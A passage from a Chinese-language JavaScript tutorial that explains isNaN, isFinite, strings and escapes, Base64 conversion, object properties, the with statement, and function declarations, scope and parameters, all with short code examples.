parseFloat('123.45#') // 123.45
Number('123.45#') // NaN

isNaN()

isNaN方法可以用来判断一个值是否为NaN

1
2
isNaN(NaN) // true
isNaN(123) // false

但是,isNaN只对数值有效,如果传入其他值,会被先转成数值。比如,传入字符串的时候,字符串会被先转成NaN,所以最后返回true,这一点要特别引起注意。也就是说,isNaNtrue的值,有可能不是NaN,而是一个字符串。

1
2
3
isNaN('Hello') // true
// 相当于
isNaN(Number('Hello')) // true

出于同样的原因,对于对象和数组,isNaN也返回true

1
2
3
4
5
6
7
isNaN({}) // true
// 等同于
isNaN(Number({})) // true

isNaN(['xzy']) // true
// 等同于
isNaN(Number(['xzy'])) // true

但是,对于空数组和只有一个数值成员的数组,isNaN返回false

1
2
3
isNaN([]) // false
isNaN([123]) // false
isNaN(['123']) // false

上面代码之所以返回false,原因是这些数组能被Number函数转成数值,请参见《数据类型转换》一章。

因此,使用isNaN之前,最好判断一下数据类型。

1
2
3
function myIsNaN(value) {
return typeof value === 'number' && isNaN(value);
}

判断NaN更可靠的方法是,利用NaN为唯一不等于自身的值的这个特点,进行判断。

1
2
3
function myIsNaN(value) {
return value !== value;
}

isFinite()

isFinite方法返回一个布尔值,表示某个值是否为正常的数值。

1
2
3
4
5
6
isFinite(Infinity) // false
isFinite(-Infinity) // false
isFinite(NaN) // false
isFinite(undefined) // false
isFinite(null) // true
isFinite(-1) // true

除了Infinity-InfinityNaNundefined这几个值会返回falseisFinite对于其他的数值都会返回true

参考链接

字符串

概述

定义

字符串就是零个或多个排在一起的字符,放在单引号或双引号之中。

1
2
'abc'
"abc"

单引号字符串的内部,可以使用双引号。双引号字符串的内部,可以使用单引号。

1
2
'key = "value"'
"It's a long journey"

上面两个都是合法的字符串。

如果要在单引号字符串的内部,使用单引号,就必须在内部的单引号前面加上反斜杠,用来转义。双引号字符串内部使用双引号,也是如此。

1
2
3
4
5
'Did she say \'Hello\'?'
// "Did she say 'Hello'?"

"Did she say \"Hello\"?"
// "Did she say "Hello"?"

由于 HTML 语言的属性值使用双引号,所以很多项目约定 JavaScript 语言的字符串只使用单引号,本教程遵守这个约定。当然,只使用双引号也完全可以。重要的是坚持使用一种风格,不要一会使用单引号表示字符串,一会又使用双引号表示。

字符串默认只能写在一行内,分成多行将会报错。

1
2
3
4
'a
b
c'
// SyntaxError: Unexpected token ILLEGAL

上面代码将一个字符串分成三行,JavaScript 就会报错。

如果长字符串必须分成多行,可以在每一行的尾部使用反斜杠。

1
2
3
4
5
6
7
var longString = 'Long \
long \
long \
string';

longString
// "Long long long string"

上面代码表示,加了反斜杠以后,原来写在一行的字符串,可以分成多行书写。但是,输出的时候还是单行,效果与写在同一行完全一样。注意,反斜杠的后面必须是换行符,而不能有其他字符(比如空格),否则会报错。

连接运算符(+)可以连接多个单行字符串,将长字符串拆成多行书写,输出的时候也是单行。

1
2
3
4
var longString = 'Long '
+ 'long '
+ 'long '
+ 'string';

如果想输出多行字符串,有一种利用多行注释的变通方法。

1
2
3
4
5
6
7
8
(function () { /*
line 1
line 2
line 3
*/}).toString().split('\n').slice(1, -1).join('\n')
// "line 1
// line 2
// line 3"

上面的例子中,输出的字符串就是多行。

转义

反斜杠(\)在字符串内有特殊含义,用来表示一些特殊字符,所以又称为转义符。

需要用反斜杠转义的特殊字符,主要有下面这些。

  • \0 :null(\u0000
  • \b :后退键(\u0008
  • \f :换页符(\u000C
  • \n :换行符(\u000A
  • \r :回车键(\u000D
  • \t :制表符(\u0009
  • \v :垂直制表符(\u000B
  • \' :单引号(\u0027
  • \" :双引号(\u0022
  • \\ :反斜杠(\u005C

上面这些字符前面加上反斜杠,都表示特殊含义。

1
2
3
console.log('1\n2')
// 1
// 2

上面代码中,\n表示换行,输出的时候就分成了两行。

反斜杠还有三种特殊用法。

(1)\HHH

反斜杠后面紧跟三个八进制数(000377),代表一个字符。HHH对应该字符的 Unicode 码点,比如\251表示版权符号。显然,这种方法只能输出256种字符。

(2)\xHH

\x后面紧跟两个十六进制数(00FF),代表一个字符。HH对应该字符的 Unicode 码点,比如\xA9表示版权符号。这种方法也只能输出256种字符。

(3)\uXXXX

\u后面紧跟四个十六进制数(0000FFFF),代表一个字符。XXXX对应该字符的 Unicode 码点,比如\u00A9表示版权符号。

下面是这三种字符特殊写法的例子。

1
2
3
4
5
6
7
'\251' // "©"
'\xA9' // "©"
'\u00A9' // "©"

'\172' === 'z' // true
'\x7A' === 'z' // true
'\u007A' === 'z' // true

如果在非特殊字符前面使用反斜杠,则反斜杠会被省略。

1
2
'\a'
// "a"

上面代码中,a是一个正常字符,前面加反斜杠没有特殊含义,反斜杠会被自动省略。

如果字符串的正常内容之中,需要包含反斜杠,则反斜杠前面需要再加一个反斜杠,用来对自身转义。

1
2
"Prev \\ Next"
// "Prev \ Next"

字符串与数组

字符串可以被视为字符数组,因此可以使用数组的方括号运算符,用来返回某个位置的字符(位置编号从0开始)。

1
2
3
4
5
6
7
var s = 'hello';
s[0] // "h"
s[1] // "e"
s[4] // "o"

// 直接对字符串使用方括号运算符
'hello'[1] // "e"

如果方括号中的数字超过字符串的长度,或者方括号中根本不是数字,则返回undefined

1
2
3
'abc'[3] // undefined
'abc'[-1] // undefined
'abc'['x'] // undefined

但是,字符串与数组的相似性仅此而已。实际上,无法改变字符串之中的单个字符。

1
2
3
4
5
6
7
8
9
10
var s = 'hello';

delete s[0];
s // "hello"

s[1] = 'a';
s // "hello"

s[5] = '!';
s // "hello"

上面代码表示,字符串内部的单个字符无法改变和增删,这些操作会默默地失败。

length 属性

length属性返回字符串的长度,该属性也是无法改变的。

1
2
3
4
5
6
7
8
var s = 'hello';
s.length // 5

s.length = 3;
s.length // 5

s.length = 7;
s.length // 5

上面代码表示字符串的length属性无法改变,但是不会报错。

字符集

JavaScript 使用 Unicode 字符集。JavaScript 引擎内部,所有字符都用 Unicode 表示。

JavaScript 不仅以 Unicode 储存字符,还允许直接在程序中使用 Unicode 码点表示字符,即将字符写成\uxxxx的形式,其中xxxx代表该字符的 Unicode 码点。比如,\u00A9代表版权符号。

1
2
var s = '\u00A9';
s // "©"

解析代码的时候,JavaScript 会自动识别一个字符是字面形式表示,还是 Unicode 形式表示。输出给用户的时候,所有字符都会转成字面形式。

1
2
var f\u006F\u006F = 'abc';
foo // "abc"

上面代码中,第一行的变量名foo是 Unicode 形式表示,第二行是字面形式表示。JavaScript 会自动识别。

我们还需要知道,每个字符在 JavaScript 内部都是以16位(即2个字节)的 UTF-16 格式储存。也就是说,JavaScript 的单位字符长度固定为16位长度,即2个字节。

但是,UTF-16 有两种长度:对于码点在U+0000U+FFFF之间的字符,长度为16位(即2个字节);对于码点在U+10000U+10FFFF之间的字符,长度为32位(即4个字节),而且前两个字节在0xD8000xDBFF之间,后两个字节在0xDC000xDFFF之间。举例来说,码点U+1D306对应的字符为𝌆,它写成 UTF-16 就是0xD834 0xDF06

JavaScript 对 UTF-16 的支持是不完整的,由于历史原因,只支持两字节的字符,不支持四字节的字符。这是因为 JavaScript 第一版发布的时候,Unicode 的码点只编到U+FFFF,因此两字节足够表示了。后来,Unicode 纳入的字符越来越多,出现了四字节的编码。但是,JavaScript 的标准此时已经定型了,统一将字符长度限制在两字节,导致无法识别四字节的字符。上一节的那个四字节字符𝌆,浏览器会正确识别这是一个字符,但是 JavaScript 无法识别,会认为这是两个字符。

1
'𝌆'.length // 2

上面代码中,JavaScript 认为𝌆的长度为2,而不是1。

总结一下,对于码点在U+10000U+10FFFF之间的字符,JavaScript 总是认为它们是两个字符(length属性为2)。所以处理的时候,必须把这一点考虑在内,也就是说,JavaScript 返回的字符串长度可能是不正确的。

Base64 转码

有时,文本里面包含一些不可打印的符号,比如 ASCII 码0到31的符号都无法打印出来,这时可以使用 Base64 编码,将它们转成可以打印的字符。另一个场景是,有时需要以文本格式传递二进制数据,那么也可以使用 Base64 编码。

所谓 Base64 就是一种编码方法,可以将任意值转成 0~9、A~Z、a-z、+/这64个字符组成的可打印字符。使用它的主要目的,不是为了加密,而是为了不出现特殊字符,简化程序的处理。

JavaScript 原生提供两个 Base64 相关的方法。

  • btoa():任意值转为 Base64 编码
  • atob():Base64 编码转为原来的值
1
2
3
var string = 'Hello World!';
btoa(string) // "SGVsbG8gV29ybGQh"
atob('SGVsbG8gV29ybGQh') // "Hello World!"

注意,这两个方法不适合非 ASCII 码的字符,会报错。

1
btoa('你好') // 报错

要将非 ASCII 码字符转为 Base64 编码,必须中间插入一个转码环节,再使用这两个方法。

1
2
3
4
5
6
7
8
9
10
function b64Encode(str) {
return btoa(encodeURIComponent(str));
}

function b64Decode(str) {
return decodeURIComponent(atob(str));
}

b64Encode('你好') // "JUU0JUJEJUEwJUU1JUE1JUJE"
b64Decode('JUU0JUJEJUEwJUU1JUE1JUJE') // "你好"

参考链接

对象

概述

生成方法

对象(object)是 JavaScript 语言的核心概念,也是最重要的数据类型。

什么是对象?简单说,对象就是一组“键值对”(key-value)的集合,是一种无序的复合数据集合。

1
2
3
4
var obj = {
foo: 'Hello',
bar: 'World'
};

上面代码中,大括号就定义了一个对象,它被赋值给变量obj,所以变量obj就指向一个对象。该对象内部包含两个键值对(又称为两个“成员”),第一个键值对是foo: 'Hello',其中foo是“键名”(成员的名称),字符串Hello是“键值”(成员的值)。键名与键值之间用冒号分隔。第二个键值对是bar: 'World'bar是键名,World是键值。两个键值对之间用逗号分隔。

键名

对象的所有键名都是字符串(ES6 又引入了 Symbol 值也可以作为键名),所以加不加引号都可以。上面的代码也可以写成下面这样。

1
2
3
4
var obj = {
'foo': 'Hello',
'bar': 'World'
};

如果键名是数值,会被自动转为字符串。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
var obj = {
1: 'a',
3.2: 'b',
1e2: true,
1e-2: true,
.234: true,
0xFF: true
};

obj
// Object {
// 1: "a",
// 3.2: "b",
// 100: true,
// 0.01: true,
// 0.234: true,
// 255: true
// }

obj['100'] // true

上面代码中,对象obj的所有键名虽然看上去像数值,实际上都被自动转成了字符串。

如果键名不符合标识名的条件(比如第一个字符为数字,或者含有空格或运算符),且也不是数字,则必须加上引号,否则会报错。

1
2
3
4
5
6
7
8
9
10
11
// 报错
var obj = {
1p: 'Hello World'
};

// 不报错
var obj = {
'1p': 'Hello World',
'h w': 'Hello World',
'p+q': 'Hello World'
};

上面对象的三个键名,都不符合标识名的条件,所以必须加上引号。

对象的每一个键名又称为“属性”(property),它的“键值”可以是任何数据类型。如果一个属性的值为函数,通常把这个属性称为“方法”,它可以像函数那样调用。

1
2
3
4
5
6
7
var obj = {
p: function (x) {
return 2 * x;
}
};

obj.p(1) // 2

上面代码中,对象obj的属性p,就指向一个函数。

如果属性的值还是一个对象,就形成了链式引用。

1
2
3
4
5
var o1 = {};
var o2 = { bar: 'hello' };

o1.foo = o2;
o1.foo.bar // "hello"

上面代码中,对象o1的属性foo指向对象o2,就可以链式引用o2的属性。

对象的属性之间用逗号分隔,最后一个属性后面可以加逗号(trailing comma),也可以不加。

1
2
3
4
var obj = {
p: 123,
m: function () { ... },
}

上面的代码中,m属性后面的那个逗号,有没有都可以。

属性可以动态创建,不必在对象声明时就指定。

1
2
3
var obj = {};
obj.foo = 123;
obj.foo // 123

上面代码中,直接对obj对象的foo属性赋值,结果就在运行时创建了foo属性。

对象的引用

如果不同的变量名指向同一个对象,那么它们都是这个对象的引用,也就是说指向同一个内存地址。修改其中一个变量,会影响到其他所有变量。

1
2
3
4
5
6
7
8
var o1 = {};
var o2 = o1;

o1.a = 1;
o2.a // 1

o2.b = 2;
o1.b // 2

上面代码中,o1o2指向同一个对象,因此为其中任何一个变量添加属性,另一个变量都可以读写该属性。

此时,如果取消某一个变量对于原对象的引用,不会影响到另一个变量。

1
2
3
4
5
var o1 = {};
var o2 = o1;

o1 = 1;
o2 // {}

上面代码中,o1o2指向同一个对象,然后o1的值变为1,这时不会对o2产生影响,o2还是指向原来的那个对象。

但是,这种引用只局限于对象,如果两个变量指向同一个原始类型的值。那么,变量这时都是值的拷贝。

1
2
3
4
5
var x = 1;
var y = x;

x = 2;
y // 1

上面的代码中,当x的值发生变化后,y的值并不变,这就表示yx并不是指向同一个内存地址。

表达式还是语句?

对象采用大括号表示,这导致了一个问题:如果行首是一个大括号,它到底是表达式还是语句?

1
{ foo: 123 }

JavaScript 引擎读到上面这行代码,会发现可能有两种含义。第一种可能是,这是一个表达式,表示一个包含foo属性的对象;第二种可能是,这是一个语句,表示一个代码区块,里面有一个标签foo,指向表达式123

为了避免这种歧义,JavaScript 引擎的做法是,如果遇到这种情况,无法确定是对象还是代码块,一律解释为代码块。

1
{ console.log(123) } // 123

上面的语句是一个代码块,而且只有解释为代码块,才能执行。

如果要解释为对象,最好在大括号前加上圆括号。因为圆括号的里面,只能是表达式,所以确保大括号只能解释为对象。

1
2
({ foo: 123 }) // 正确
({ console.log(123) }) // 报错

这种差异在eval语句(作用是对字符串求值)中反映得最明显。

1
2
eval('{foo: 123}') // 123
eval('({foo: 123})') // {foo: 123}

上面代码中,如果没有圆括号,eval将其理解为一个代码块;加上圆括号以后,就理解成一个对象。

属性的操作

属性的读取

读取对象的属性,有两种方法,一种是使用点运算符,还有一种是使用方括号运算符。

1
2
3
4
5
6
var obj = {
p: 'Hello World'
};

obj.p // "Hello World"
obj['p'] // "Hello World"

上面代码分别采用点运算符和方括号运算符,读取属性p

请注意,如果使用方括号运算符,键名必须放在引号里面,否则会被当作变量处理。

1
2
3
4
5
6
7
8
9
var foo = 'bar';

var obj = {
foo: 1,
bar: 2
};

obj.foo // 1
obj[foo] // 2

上面代码中,引用对象objfoo属性时,如果使用点运算符,foo就是字符串;如果使用方括号运算符,但是不使用引号,那么foo就是一个变量,指向字符串bar

方括号运算符内部还可以使用表达式。

1
2
obj['hello' + ' world']
obj[3 + 3]

数字键可以不加引号,因为会自动转成字符串。

1
2
3
4
5
6
var obj = {
0.7: 'Hello World'
};

obj['0.7'] // "Hello World"
obj[0.7] // "Hello World"

上面代码中,对象obj的数字键0.7,加不加引号都可以,因为会被自动转为字符串。

注意,数值键名不能使用点运算符(因为会被当成小数点),只能使用方括号运算符。

1
2
3
4
5
6
var obj = {
123: 'hello world'
};

obj.123 // 报错
obj[123] // "hello world"

上面代码的第一个表达式,对数值键名123使用点运算符,结果报错。第二个表达式使用方括号运算符,结果就是正确的。

属性的赋值

点运算符和方括号运算符,不仅可以用来读取值,还可以用来赋值。

1
2
3
4
var obj = {};

obj.foo = 'Hello';
obj['bar'] = 'World';

上面代码中,分别使用点运算符和方括号运算符,对属性赋值。

JavaScript 允许属性的“后绑定”,也就是说,你可以在任意时刻新增属性,没必要在定义对象的时候,就定义好属性。

1
2
3
4
5
6
var obj = { p: 1 };

// 等价于

var obj = {};
obj.p = 1;

属性的查看

查看一个对象本身的所有属性,可以使用Object.keys方法。

1
2
3
4
5
6
7
var obj = {
key1: 1,
key2: 2
};

Object.keys(obj);
// ['key1', 'key2']

属性的删除:delete 命令

delete命令用于删除对象的属性,删除成功后返回true

1
2
3
4
5
6
var obj = { p: 1 };
Object.keys(obj) // ["p"]

delete obj.p // true
obj.p // undefined
Object.keys(obj) // []

上面代码中,delete命令删除对象objp属性。删除后,再读取p属性就会返回undefined,而且Object.keys方法的返回值也不再包括该属性。

注意,删除一个不存在的属性,delete不报错,而且返回true

1
2
var obj = {};
delete obj.p // true

上面代码中,对象obj并没有p属性,但是delete命令照样返回true。因此,不能根据delete命令的结果,认定某个属性是存在的。

只有一种情况,delete命令会返回false,那就是该属性存在,且不得删除。

1
2
3
4
5
6
7
var obj = Object.defineProperty({}, 'p', {
value: 123,
configurable: false
});

obj.p // 123
delete obj.p // false

上面代码之中,对象objp属性是不能删除的,所以delete命令返回false(关于Object.defineProperty方法的介绍,请看《标准库》的 Object 对象一章)。

另外,需要注意的是,delete命令只能删除对象本身的属性,无法删除继承的属性(关于继承参见《面向对象编程》章节)。

1
2
3
var obj = {};
delete obj.toString // true
obj.toString // function toString() { [native code] }

上面代码中,toString是对象obj继承的属性,虽然delete命令返回true,但该属性并没有被删除,依然存在。这个例子还说明,即使delete返回true,该属性依然可能读取到值。

属性是否存在:in 运算符

in运算符用于检查对象是否包含某个属性(注意,检查的是键名,不是键值),如果包含就返回true,否则返回false。它的左边是一个字符串,表示属性名,右边是一个对象。

1
2
3
var obj = { p: 1 };
'p' in obj // true
'toString' in obj // true

in运算符的一个问题是,它不能识别哪些属性是对象自身的,哪些属性是继承的。就像上面代码中,对象obj本身并没有toString属性,但是in运算符会返回true,因为这个属性是继承的。

这时,可以使用对象的hasOwnProperty方法判断一下,是否为对象自身的属性。

1
2
3
4
var obj = {};
if ('toString' in obj) {
console.log(obj.hasOwnProperty('toString')) // false
}

属性的遍历:for…in 循环

for...in循环用来遍历一个对象的全部属性。

1
2
3
4
5
6
7
8
9
10
11
12
var obj = {a: 1, b: 2, c: 3};

for (var i in obj) {
console.log('键名:', i);
console.log('键值:', obj[i]);
}
// 键名: a
// 键值: 1
// 键名: b
// 键值: 2
// 键名: c
// 键值: 3

for...in循环有两个使用注意点。

  • 它遍历的是对象所有可遍历(enumerable)的属性,会跳过不可遍历的属性。
  • 它不仅遍历对象自身的属性,还遍历继承的属性。

举例来说,对象都继承了toString属性,但是for...in循环不会遍历到这个属性。

1
2
3
4
5
6
7
8
var obj = {};

// toString 属性是存在的
obj.toString // toString() { [native code] }

for (var p in obj) {
console.log(p);
} // 没有任何输出

上面代码中,对象obj继承了toString属性,该属性不会被for...in循环遍历到,因为它默认是“不可遍历”的。关于对象属性的可遍历性,参见《标准库》章节中 Object 一章的介绍。

如果继承的属性是可遍历的,那么就会被for...in循环遍历到。但是,一般情况下,都是只想遍历对象自身的属性,所以使用for...in的时候,应该结合使用hasOwnProperty方法,在循环内部判断一下,某个属性是否为对象自身的属性。

1
2
3
4
5
6
7
8
var person = { name: '老张' };

for (var key in person) {
if (person.hasOwnProperty(key)) {
console.log(key);
}
}
// name

with 语句

with语句的格式如下:

1
2
3
with (对象) {
语句;
}

它的作用是操作同一个对象的多个属性时,提供一些书写的方便。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// 例一
var obj = {
p1: 1,
p2: 2,
};
with (obj) {
p1 = 4;
p2 = 5;
}
// 等同于
obj.p1 = 4;
obj.p2 = 5;

// 例二
with (document.links[0]){
console.log(href);
console.log(title);
console.log(style);
}
// 等同于
console.log(document.links[0].href);
console.log(document.links[0].title);
console.log(document.links[0].style);

注意,如果with区块内部有变量的赋值操作,必须是当前对象已经存在的属性,否则会创造一个当前作用域的全局变量。

1
2
3
4
5
6
7
8
var obj = {};
with (obj) {
p1 = 4;
p2 = 5;
}

obj.p1 // undefined
p1 // 4

上面代码中,对象obj并没有p1属性,对p1赋值等于创造了一个全局变量p1。正确的写法应该是,先定义对象obj的属性p1,然后在with区块内操作它。

这是因为with区块没有改变作用域,它的内部依然是当前作用域。这造成了with语句的一个很大的弊病,就是绑定对象不明确。

1
2
3
with (obj) {
console.log(x);
}

单纯从上面的代码块,根本无法判断x到底是全局变量,还是对象obj的一个属性。这非常不利于代码的除错和模块化,编译器也无法对这段代码进行优化,只能留到运行时判断,这就拖慢了运行速度。因此,建议不要使用with语句,可以考虑用一个临时变量代替with

1
2
3
4
5
6
7
with(obj1.obj2.obj3) {
console.log(p1 + p2);
}

// 可以写成
var temp = obj1.obj2.obj3;
console.log(temp.p1 + temp.p2);

参考链接

函数

函数是一段可以反复调用的代码块。函数还能接受输入的参数,不同的参数会返回不同的值。

概述

函数的声明

JavaScript 有三种声明函数的方法。

(1)function 命令

function命令声明的代码区块,就是一个函数。function命令后面是函数名,函数名后面是一对圆括号,里面是传入函数的参数。函数体放在大括号里面。

1
2
3
function print(s) {
console.log(s);
}

上面的代码命名了一个print函数,以后使用print()这种形式,就可以调用相应的代码。这叫做函数的声明(Function Declaration)。

(2)函数表达式

除了用function命令声明函数,还可以采用变量赋值的写法。

1
2
3
var print = function(s) {
console.log(s);
};

这种写法将一个匿名函数赋值给变量。这时,这个匿名函数又称函数表达式(Function Expression),因为赋值语句的等号右侧只能放表达式。

采用函数表达式声明函数时,function命令后面不带有函数名。如果加上函数名,该函数名只在函数体内部有效,在函数体外部无效。

1
2
3
4
5
6
7
8
9
var print = function x(){
console.log(typeof x);
};

x
// ReferenceError: x is not defined

print()
// function

上面代码在函数表达式中,加入了函数名x。这个x只在函数体内部可用,指代函数表达式本身,其他地方都不可用。这种写法的用处有两个,一是可以在函数体内部调用自身,二是方便除错(除错工具显示函数调用栈时,将显示函数名,而不再显示这里是一个匿名函数)。因此,下面的形式声明函数也非常常见。

1
var f = function f() {};

需要注意的是,函数的表达式需要在语句的结尾加上分号,表示语句结束。而函数的声明在结尾的大括号后面不用加分号。总的来说,这两种声明函数的方式,差别很细微,可以近似认为是等价的。

(3)Function 构造函数

第三种声明函数的方式是Function构造函数。

1
2
3
4
5
6
7
8
9
10
var add = new Function(
'x',
'y',
'return x + y'
);

// 等同于
function add(x, y) {
return x + y;
}

上面代码中,Function构造函数接受三个参数,除了最后一个参数是add函数的“函数体”,其他参数都是add函数的参数。

你可以传递任意数量的参数给Function构造函数,只有最后一个参数会被当做函数体,如果只有一个参数,该参数就是函数体。

1
2
3
4
5
6
7
8
var foo = new Function(
'return "hello world";'
);

// 等同于
function foo() {
return 'hello world';
}

Function构造函数可以不使用new命令,返回结果完全一样。

总的来说,这种声明函数的方式非常不直观,几乎无人使用。

函数的重复声明

如果同一个函数被多次声明,后面的声明就会覆盖前面的声明。

1
2
3
4
5
6
7
8
9
function f() {
console.log(1);
}
f() // 2

function f() {
console.log(2);
}
f() // 2

上面代码中,后一次的函数声明覆盖了前面一次。而且,由于函数名的提升(参见下文),前一次声明在任何时候都是无效的,这一点要特别注意。

圆括号运算符,return 语句和递归

调用函数时,要使用圆括号运算符。圆括号之中,可以加入函数的参数。

1
2
3
4
5
function add(x, y) {
return x + y;
}

add(1, 1) // 2

上面代码中,函数名后面紧跟一对圆括号,就会调用这个函数。

函数体内部的return语句,表示返回。JavaScript 引擎遇到return语句,就直接返回return后面的那个表达式的值,后面即使还有语句,也不会得到执行。也就是说,return语句所带的那个表达式,就是函数的返回值。return语句不是必需的,如果没有的话,该函数就不返回任何值,或者说返回undefined

函数可以调用自身,这就是递归(recursion)。下面就是通过递归,计算斐波那契数列的代码。

1
2
3
4
5
6
7
function fib(num) {
if (num === 0) return 0;
if (num === 1) return 1;
return fib(num - 2) + fib(num - 1);
}

fib(6) // 8

上面代码中,fib函数内部又调用了fib,计算得到斐波那契数列的第6个元素是8。

第一等公民

JavaScript 语言将函数看作一种值,与其它值(数值、字符串、布尔值等等)地位相同。凡是可以使用值的地方,就能使用函数。比如,可以把函数赋值给变量和对象的属性,也可以当作参数传入其他函数,或者作为函数的结果返回。函数只是一个可以执行的值,此外并无特殊之处。

由于函数与其他数据类型地位平等,所以在 JavaScript 语言中又称函数为第一等公民。

1
2
3
4
5
6
7
8
9
10
11
12
13
function add(x, y) {
return x + y;
}

// 将函数赋值给一个变量
var operator = add;

// 将函数作为参数和返回值
function a(op){
return op;
}
a(add)(1, 1)
// 2

函数名的提升

JavaScript 引擎将函数名视同变量名,所以采用function命令声明函数时,整个函数会像变量声明一样,被提升到代码头部。所以,下面的代码不会报错。

1
2
3
f();

function f() {}

表面上,上面代码好像在声明之前就调用了函数f。但是实际上,由于“变量提升”,函数f被提升到了代码头部,也就是在调用之前已经声明了。但是,如果采用赋值语句定义函数,JavaScript 就会报错。

1
2
3
f();
var f = function (){};
// TypeError: undefined is not a function

上面的代码等同于下面的形式。

1
2
3
var f;
f();
f = function () {};

上面代码第二行,调用f的时候,f只是被声明了,还没有被赋值,等于undefined,所以会报错。因此,如果同时采用function命令和赋值语句声明同一个函数,最后总是采用赋值语句的定义。

1
2
3
4
5
6
7
8
9
var f = function () {
console.log('1');
}

function f() {
console.log('2');
}

f() // 1

函数的属性和方法

name 属性

函数的name属性返回函数的名字。

1
2
function f1() {}
f1.name // "f1"

如果是通过变量赋值定义的函数,那么name属性返回变量名。

1
2
var f2 = function () {};
f2.name // "f2"

但是,上面这种情况,只有在变量的值是一个匿名函数时才是如此。如果变量的值是一个具名函数,那么name属性返回function关键字之后的那个函数名。

1
2
var f3 = function myName() {};
f3.name // 'myName'

上面代码中,f3.name返回函数表达式的名字。注意,真正的函数名还是f3,而myName这个名字只在函数体内部可用。

name属性的一个用处,就是获取参数函数的名字。

1
2
3
4
5
6
7
var myFunc = function () {};

function test(f) {
console.log(f.name);
}

test(myFunc) // myFunc

上面代码中,函数test内部通过name属性,就可以知道传入的参数是什么函数。

length 属性

函数的length属性返回函数预期传入的参数个数,即函数定义之中的参数个数。

1
2
function f(a, b) {}
f.length // 2

上面代码定义了空函数f,它的length属性就是定义时的参数个数。不管调用时输入了多少个参数,length属性始终等于2。

length属性提供了一种机制,判断定义时和调用时参数的差异,以便实现面向对象编程的“方法重载”(overload)。

toString()

函数的toString方法返回一个字符串,内容是函数的源码。

1
2
3
4
5
6
7
8
9
10
11
12
function f() {
a();
b();
c();
}

f.toString()
// function f() {
// a();
// b();
// c();
// }

对于那些原生的函数,toString()方法返回function (){[native code]}

1
2
Math.sqrt.toString()
// "function sqrt() { [native code] }"

上面代码中,Math.sqrt是 JavaScript 引擎提供的原生函数,toString()方法就返回原生代码的提示。

函数内部的注释也可以返回。

1
2
3
4
5
6
7
8
9
10
function f() {/*
这是一个
多行注释
*/}

f.toString()
// "function f(){/*
// 这是一个
// 多行注释
// */}"

利用这一点,可以变相实现多行字符串。

1
2
3
4
5
6
7
8
9
10
11
12
13
var multiline = function (fn) {
var arr = fn.toString().split('\n');
return arr.slice(1, arr.length - 1).join('\n');
};

function f() {/*
这是一个
多行注释
*/}

multiline(f);
// " 这是一个
// 多行注释"

函数作用域

定义

作用域(scope)指的是变量存在的范围。在 ES5 的规范中,JavaScript 只有两种作用域:一种是全局作用域,变量在整个程序中一直存在,所有地方都可以读取;另一种是函数作用域,变量只在函数内部存在。ES6 又新增了块级作用域,本教程不涉及。

对于顶层函数来说,函数外部声明的变量就是全局变量(global variable),它可以在函数内部读取。

1
2
3
4
5
6
7
8
var v = 1;

function f() {
console.log(v);
}

f()
// 1

上面的代码表明,函数f内部可以读取全局变量v

在函数内部定义的变量,外部无法读取,称为“局部变量”(local variable)。

1
2
3
4
5
function f(){
var v = 1;
}

v // ReferenceError: v is not defined

上面代码中,变量v在函数内部定义,所以是一个局部变量,函数之外就无法读取。

函数内部定义的变量,会在该作用域内覆盖同名全局变量。

1
2
3
4
5
6
7
8
9
var v = 1;

function f(){
var v = 2;
console.log(v);
}

f() // 2
v // 1

上面代码中,变量v同时在函数的外部和内部有定义。结果,在函数内部定义,局部变量v覆盖了全局变量v

注意,对于var命令来说,局部变量只能在函数内部声明,在其他区块中声明,一律都是全局变量。

1
2
3
4
if (true) {
var x = 5;
}
console.log(x); // 5

上面代码中,变量x在条件判断区块之中声明,结果就是一个全局变量,可以在区块之外读取。

函数内部的变量提升

与全局作用域一样,函数作用域内部也会产生“变量提升”现象。var命令声明的变量,不管在什么位置,变量声明都会被提升到函数体的头部。

1
2
3
4
5
6
7
8
9
10
11
12
13
function foo(x) {
if (x > 100) {
var tmp = x - 100;
}
}

// 等同于
function foo(x) {
var tmp;
if (x > 100) {
tmp = x - 100;
};
}

函数本身的作用域

函数本身也是一个值,也有自己的作用域。它的作用域与变量一样,就是其声明时所在的作用域,与其运行时所在的作用域无关。

1
2
3
4
5
6
7
8
9
10
11
var a = 1;
var x = function () {
console.log(a);
};

function f() {
var a = 2;
x();
}

f() // 1

上面代码中,函数x是在函数f的外部声明的,所以它的作用域绑定外层,内部变量a不会到函数f体内取值,所以输出1,而不是2

总之,函数执行时所在的作用域,是定义时的作用域,而不是调用时所在的作用域。

很容易犯错的一点是,如果函数A调用函数B,却没考虑到函数B不会引用函数A的内部变量。

1
2
3
4
5
6
7
8
9
10
11
var x = function () {
console.log(a);
};

function y(f) {
var a = 2;
f();
}

y(x)
// ReferenceError: a is not defined

上面代码将函数x作为参数,传入函数y。但是,函数x是在函数y体外声明的,作用域绑定外层,因此找不到函数y的内部变量a,导致报错。

同样的,函数体内部声明的函数,作用域绑定函数体内部。

1
2
3
4
5
6
7
8
9
10
11
function foo() {
var x = 1;
function bar() {
console.log(x);
}
return bar;
}

var x = 2;
var f = foo();
f() // 1

上面代码中,函数foo内部声明了一个函数barbar的作用域绑定foo。当我们在foo外部取出bar执行时,变量x指向的是foo内部的x,而不是foo外部的x。正是这种机制,构成了下文要讲解的“闭包”现象。

参数

概述

函数运行的时候,有时需要提供外部数据,不同的外部数据会得到不同的结果,这种外部数据就叫参数。

1
2
3
4
5
6
function square(x) {
return x * x;
}

square(2) // 4
square(3) // 9

上式的x就是square函数的参数。每次运行的时候,需要提供这个值,否则得不到结果。

参数的省略

函数参数不是必需的,JavaScript 允许省略参数。

1
2
3
4
5
6
7
8
9
function f(a, b) {
return a;
}

f(1, 2, 3) // 1
f(1) // 1
f() // undefined

f.length // 2

上面代码的函数f定义了两个参数,但是运行时无论提供多少个参数(或者不提供参数),JavaScript 都不会报错。省略的参数的值就变为undefined。需要注意的是,函数的length属性与实际传入的参数个数无关,只反映函数预期传入的参数个数。

但是,没有办法只省略靠前的参数,而保留靠后的参数。如果一定要省略靠前的参数,只有显式传入undefined

1
2
3
4
5
6
function f(a, b) {
return a;
}

f( , 1) // SyntaxError: Unexpected token ,(…)
f(undefined, 1) // undefined

上面代码中,如果省略第一个参数,就会报错。

传递方式

函数参数如果是原始类型的值(数值、字符串、布尔值),传递方式是传值传递(passes by value)。这意味着,在函数体内修改参数值,不会影响到函数外部。

1
2
3
4
5
6
7
8
var p = 2;

